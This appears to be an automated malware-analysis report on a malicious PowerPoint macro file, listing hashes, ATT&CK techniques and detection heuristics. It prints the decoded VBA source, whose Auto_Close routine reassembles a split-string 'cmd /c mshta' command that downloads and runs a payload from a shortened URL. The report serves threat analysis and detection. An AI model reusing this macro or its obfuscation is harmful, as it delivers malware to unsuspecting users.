Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a7549053b3baea3d…

MALICIOUS

Office (OOXML)

6.8 KB First seen: 2021-09-17
MD5: 49e28116803dca7d1880802ee4793b94 SHA-1: aa736568cd5b38240ca6b9671b1c79452fc3dd2a SHA-256: a7549053b3baea3d9aaa7848bf7e30897526c107314690feb89b5c442c600802
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Close subroutine that is triggered when the document is closed. This macro reconstructs and executes a command using Shell(), which includes mshta and a bitly URL. The reconstructed command is 'cmd /c mshta https://bitly.com/yuwqkhdkjas'. This indicates the macro's purpose is to download and execute a second-stage payload from the provided URL.

Heuristics 6

  • ClamAV: Win.Malware.Agent-9891647-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9891647-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 307 bytes
SHA-256: f14f5f49ac243b0ed63d14485e871e3981691dcac69d43ab000cf950799caf41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/yuwqkhdkjas" & "hdkjsahdjksa"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: 426d51a89c66d67b27ee2f17383fd975970a6e871b923eee97f0602560a9443e

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